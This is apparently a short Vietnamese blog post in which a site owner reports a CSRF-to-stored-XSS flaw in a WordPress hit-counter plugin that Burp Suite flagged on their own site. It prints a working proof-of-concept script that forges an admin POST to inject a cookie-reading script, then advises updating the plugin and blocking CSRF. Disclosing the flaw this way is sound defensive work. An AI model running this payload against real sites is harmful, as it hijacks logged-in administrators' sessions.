Hôm nay đọc được một cái thông báo về lỗ hổng csrf to xss trên site của mình nên mình thử nghịch nó xem sao. lỗ hổng này được burp suite báo khi mình vào web.

Ban đầu mình giật mình và sau đó có đọc qua tài liệu về lỗ hổng này và test POC thì thấy thành công.

Đây là POC của em nó

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/manhtuong.net\/wp-admin\/admin.php?page=ahc_hits_counter_settings", true);
xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body =
"save=test&set_ips=\x3c/textarea\x3e\x3cscript\x3ealert(document.cookie)\x3c/script\x3e";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
view raw mtd hosted with ❤ by GitHub

Theo kiểm tra thì nó dựa vào trường save của dữ liệu để nhằm mục đích thực thi. nguy hại hơn là lỗ hổng này có thể chạy ngầm mà không ai nhìn thấy chỉ cần vào web mã độc là song con ong.

Điều kiện của nó là admin vẫn còn đang đăng nhập. để giải quyết vấn đề này thì chúng ta cần phải cập nhập lại plugin tuy nhiên thì mình khuyến cáo thêm là hãy chặn luôn csrf trên nginx. hoặc đơn giản hơn là bạn chặn cấu hình CORS.

Đây là lỗ hổng nguy hiểm các bạn nên update plugin của mình!

Leave a Reply

avatar
  Subscribe  
Notify of